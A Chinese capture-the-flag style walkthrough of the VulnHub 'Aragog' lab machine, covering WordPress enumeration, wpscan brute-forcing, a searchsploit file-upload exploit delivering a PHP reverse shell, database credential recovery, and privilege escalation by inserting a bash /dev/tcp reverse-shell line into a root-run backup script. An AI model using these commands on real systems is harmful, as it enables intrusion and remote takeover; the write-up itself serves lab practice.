vulnhub靶场【哈利波特】三部曲之Aragog

前言

使用virtual box虚拟机

靶机:Aragog : 192.168.1.101

攻击:kali : 192.168.1.16

主机发现

使用arp-scan -l扫描,在同一虚拟网卡下

在这里插入图片描述

信息收集

使用nmap扫描

在这里插入图片描述

发现22端口SSH服务,openssh

80端口HTTP服务,Apache 2.4.38

系统为Linux 4.x|5.x

对于80端口进一步收集信息

访问80端口查看

在这里插入图片描述

一张海报,下载查看有无隐藏信息,也不知到密码,所以直接回车,发现没有信息

在这里插入图片描述

扫描网站目录

使用dirsearch、gobuster、dirb、dirbuster、ffuf等工具都可以

在这里插入图片描述

使用whatweb进行探测,结合前面的wp-login.php,确定是wordpressCMS

在这里插入图片描述

使用wpscan专门针对wordpress的工具进行探测,发现有xmlrpc.php文件,说明可能存在用户枚举等,直接再使用该工具进行枚举

在这里插入图片描述

wpscan --url http://192.168.1.101 -e u -P /usr/share/wordlists/rockyou.txt

这个是把从wordpress中枚举的用户,使用密码字典进行对用户的爆破

使用这个命令破解需要时间,可以先访问wp-admin界面查看,发现有问题,这里访问的是域名了

在这里插入图片描述

修改/etc/hosts文件,把域名与ip绑定一起

在这里插入图片描述

再次访问wp-admin,成功访问

在这里插入图片描述

那么前面在进行密码破解时,可能就有问题了,因为之前没有进行域名绑定,并且这里是通过域名进行直接访问的,IP访问是进行的跳转,所以,对于密码爆破,重新进行

url地址改为域名wordpress.aragog.hogwarts即可,其余不用变动

wpscan --url http://word.press.aragog.hogwarts -e u -P 【字典路径】

这次出的东西就增加许多,这里指出一个使用主题,版本过低

在这里插入图片描述

但是因为是密码爆破,所以时间还是长,让他在那继续爆破,继续寻找其他地方。这里经过漫长的时间,一直没有成功,所以可能这里并不存在

寻找其他方法,尝试枚举插件plugins和主题theme等,检测模式等需要改成主动的,具有侵略性的,不然可能会忽略掉一些,上面大部分还是passive被动收集的

漏洞寻找及利用

wpscan --url http://wordpress.aragog.hogwarts/blog -e ap --detection-mode aggressie --plugins-detection-mode aggressive

在这里插入图片描述

有提示,说是版本的问题,这里有的可能不准确,所以还是需要自己去认证,这里直接搜索,看有无该漏洞,可以使用searchsploit或者msf都可以

在这里插入图片描述

直接定位该文件的位置locate,然后复制到当前目录并重命名,方便使用

在这里插入图片描述

可以查看该脚本文件,里面有用法

在这里插入图片描述

在使用该脚本时,会有提示,需要先安装jq的,直接使用apt安装即可。检测到是有漏洞的,开始下一步

在这里插入图片描述

首先这里确定是php脚本语言的,然后这里使用kali自带的一个webshell,路径在/usr/share/webshell/php/php-reverse-shell.php文件,修改其中的监听IP和端口即可

在这里插入图片描述

执行file.sh脚本中的用法,进行上传

bash file.sh -u http://wordpress.aragog.hogwarts/blog -f /usr/share/webshells/php/php-reverse-shell.php --verbose

在这里插入图片描述

可以看到这里的提示,和用法中的一样,表示上传成功,使用kali开启监听1234端口,然后浏览器进行访问,可以发现成功反弹shell

在这里插入图片描述

开始寻找文件,这里可以自己尝试获取交互式界面,我这里就不操作了,可以测试python或者bashsh

在这里插入图片描述

提权

寻找wordpress目录

这里解密后说是"谁的日记被哈里在哪里秘密的摧毁了",则,没有用处,发现在平常的/var/www/html目录下,并不存在wordpress的目录,使用find寻找,可以看到这里的有wp的一些常见目录,去目录下查看

在这里插入图片描述

找对目录了

在这里插入图片描述

查看配置文件wp-config.php

一直指向一个目录下的文件,等下去查看

在这里插入图片描述

这里还提供的连接数据库的库名和用户名,但是没有直接给出密码

在这里插入图片描述

切换/etc/wordpress目录,并查看

在这里插入图片描述

这里有了连接数据库的具体信息,查看端口信息

在这里插入图片描述

连接数据库

使用命令连接数据库

mysql -h localhost -P 3306 -uroot -pmySecr3tPass

查看数据库中的信息

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

可以发现这里的用户hagrid98在网站wordpress中的显示就是WP-Admin,解密这个密码即可,如果有加盐salt等时,再搜索一遍,看能否找到加密算法等,这里直接可以通过md5解密,但是竟然要收费,这不行啊。

在这里插入图片描述

换了一个网站进行解密https://www.somd5.com/

在这里插入图片描述

登录hagrid98

这里就获取用户hagrid98的密码,使用ssh连接

在这里插入图片描述

使用find / -perm -u=s -type f 2>/dev/null未发现有可利用的命令进行提取

使用find寻找可能的一些文件,如*pass**user**back*

找到一个隐藏的备份,这要看看

在这里插入图片描述

发现该文件具有可读可写可执行,对于用户hagrid98,执行测试发现是复制

在这里插入图片描述

再查看具体的代码,

在这里插入图片描述

cp参数:

-r 或 --recursive:用于复制目录及其所有的子目录和文件,如果要复制目录,需要使用该选项。

很明显,就是备份文件到临时目录中,这个备份应该会执行,至于是手工还是定时,不得而知,不过可以在这个代码中进行插入,使得可以获得rootshell。插入下面命令

bash -i >& /dev/tcp/192.168.1.16/8888 0>&1

在这里插入图片描述

登录root

然后在kali中开启监听8888端口,即可发现反弹成功

在这里插入图片描述

清除痕迹

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

总结

  1. 对于网站目录的识别,常见的CMS要大概清楚
  2. 使用wpscan针对扫描wordpress时,可以扫描主题插件等
  3. 对于searchsploit的利用,要会复现
  4. 善用find命令可以使得步骤等非一般的提升
  5. 对于文件,要学会找到一些可能存在的,比如这里的指向,是指向/etc/wordpress目录的,如果文件没看清的话,就会导致寻找不到提权点
  6. 对于常见的数据库使用的加密方式可以简单了解
  7. 找不到具有SUID权限的文件时,可以寻找可能具有关键字的一些文件,常见的密码、用户名以及备份文件等
  8. 常见的提权bash指令,要知道为什么可以提权

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/888348.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

顶刊算法 | 鱼鹰算法OOA-BiTCN-BiGRU-Attention多输入单输出回归预测(Maltab)

顶刊算法 | 鱼鹰算法OOA-BiTCN-BiGRU-Attention多输入单输出回归预测(Maltab) 目录 顶刊算法 | 鱼鹰算法OOA-BiTCN-BiGRU-Attention多输入单输出回归预测(Maltab)效果一览基本介绍程序设计参考资料 效果一览 基本介绍 1.Matlab实…

getchar()

getchar():从计算机终端(一般是键盘)输入一个字符 1、getchar返回的是字符的ASCII码值(整数)。 2、getchar在读取结束或者失败的时候,会返回EOF 输入密码并确认: scanf读取\n之前的内容即12345678 回车符…

动态规划-----路径问题

动态规划-----路径问题 下降最小路径和1:状态表示2:状态转移方程3 初始化4 填表顺序5 返回值6 代码实现 总结: 下降最小路径和 1:状态表示 假设:用dp[i][j]表示:到达[i,j]的最小路径 2:状态转…

网络安全防护指南

网络安全防护指南 网络安全是指保护网络系统中的硬件、软件及数据不受偶然或恶意原因而遭到破坏、更改或泄露,确保网络系统连续可靠地正常运行。随着互联网的普及和技术的发展,网络安全问题日益严峻,对个人、企业和国家都构成了巨大威胁。因…

实现PDF文档加密,访问需要密码

01. 背景 今天下午老板神秘兮兮的来问我,能不能做个文档加密功能,就是那种用户下载打开需要密码才能打开的那种效果。boss都发话了,那必须可以。 需求:将 pdf 文档经过加密处理,客户下载pdf文档,打开文档需…

HarmonyOS Next 模拟器安装与探索

HarmonyOS 5 也发布了有一段时间了,不知道大家实际使用的时候有没有发现一些惊喜。当然随着HarmonyOS 5的更新也带来了很多新特性,尤其是 HarmonyOS Next 模拟器。今天,我们就来探索一下这个模拟器,看看它能给我们的开发过程带来什…

深入探索进程间通信:System V IPC的机制与应用

目录 1、System V概述 2.共享内存(shm) 2.1 shmget — 创建共享内存 2.1.2 ftok(为shmmat创建key值) 2.1.3 为什么一块共享内存的标志信息需要用户来传递 2.2 shmat — 进程挂接共享内存 2.3 shmdt — 断开共享内存连接 2.4…

多线程运行时,JVM(Java虚拟机)的内存模型

在多线程运行时,JVM(Java虚拟机)的内存模型主要涉及以下几个方面: 1. 主内存和工作内存 JVM内存模型定义了主内存和工作内存的概念。主内存是所有线程共享的内存区域,而工作内存是每个线程私有的内存区域。线程对变量…

Rust : 生成日历管理markdown文件的小工具

需求: 拟生成以下markdown管理小工具,这也是我日常工作日程表。 可以输入任意时间段,运行后就可以生成以上的markdown文件。 一、toml [package] name "rust-workfile" version "0.1.0" edition "2021"[d…

记一次 Golang pkg 性能提升 38147125738.8 倍之旅

我正在使用 linux-open-ports 项目来获取系统上当前打开的端口列表。不过我注意到实现速度比我预期的要慢一点,所以我开始调查、分析、修改并使整个过程,使其性能提升了 38147125738.8 倍。下面我对整个过程做一个详细叙述。 1 基线 Go 提供了通过基准测…

mean,median,mode,var,std,min,max函数

剩余的函数都放在这篇里面吧 m e a n mean mean函数可以求平均值 a a a为向量时, m e a n ( a ) mean(a) mean(a)求向量中元素的平均值 a a a为矩阵时, m e a n ( a , 1 ) mean(a,1) mean(a,1)求矩阵中各列元素的平均值; m e a n ( a , 2 )…

带Burst AOT Settings移植问题

报错 burst问题 Burst AOT Settings 是 Unity 的 Burst Compiler 的一部分,用于预编译程序集(AOT,Ahead-Of-Time Compilation),以便在不支持 JIT(即时编译)的平台上运行,例如 iOS 和…

Android studio 签名加固后的apk文件

Android studio打包时,可以选择签名类型v1和v2,但是在经过加固后,签名就不在了,或者只有v1签名,这样是不安全的。 操作流程: 1、Android studio 对项目进行打包,生成有签名的apk文件&#xff…

数据结构—队列

目录 一、队列的定义 二、队列的顺序储存结构 2.1顺序队列的定义 2.2循环队列定义 2.3循环队列的基本操作 三、队列的链式储存结构 3.1链队列的定义 3.2链队列的基本操作 一、队列的定义 队列是一种线性表,其特殊性在于队列的基本操作是线性表的子表。队列…

【计算机网络】实验2:总线型以太网的特性

实验 2:总线型以太网的特性 一、 实验目的 加深对MAC地址,IP地址,ARP协议的理解。 了解总线型以太网的特性(广播,竞争总线,冲突)。 二、 实验环境 • Cisco Packet Tracer 模拟器 三、 实…

PHP RabbitMQ连接超时问题

问题背景 Error: The connection timed out after 3 sec while awaiting incoming data 看到这个报错,我不以为意,认为是我设置的超时时间不够导致的,那就设置长一点 Error: The connection timed out after 300 sec while awaiting incom…

asp.net core过滤器应用

筛选器类型 授权筛选器 授权过滤器是过滤器管道的第一个被执行的过滤器,用于系统授权。一般不会编写自定义的授权过滤器,而是配置授权策略或编写自定义授权策略。简单举个例子。 using Microsoft.AspNetCore.Authorization; using Microsoft.AspNetCo…

缓存与数据库数据一致性 详解

缓存与数据库数据一致性详解 在分布式系统中,缓存(如 Redis、Memcached)与数据库(如 MySQL、PostgreSQL)一起使用是提高系统性能的常用方法。然而,缓存与数据库可能因更新时序、操作失误等原因出现数据不一…

Linux DNS解释器

作用 DNS(Domain Name System)是互联网上的一项服务,用于将域名和IP地址进行相互映射,使人 更方便的访问互联网 正向解析:域名->IP 反向解析:IP->域名 连接方式 DNS使用53端口监听网络 查看方法&a…

3.STM32通信接口之SPI通信---SPI实战(W25Q64存储模块介绍)《精讲》

上一节介绍了SPI的通信过程和方法,接下来就要进行STM32与外围模块通信了,这个模块是一块非易失型存储芯片,能够提供8MB的存储空间。接下来跟着Whappy脚步,进行探索新大陆吧!【免费】W25Q64(中英文数据手册)资源-CSDN文…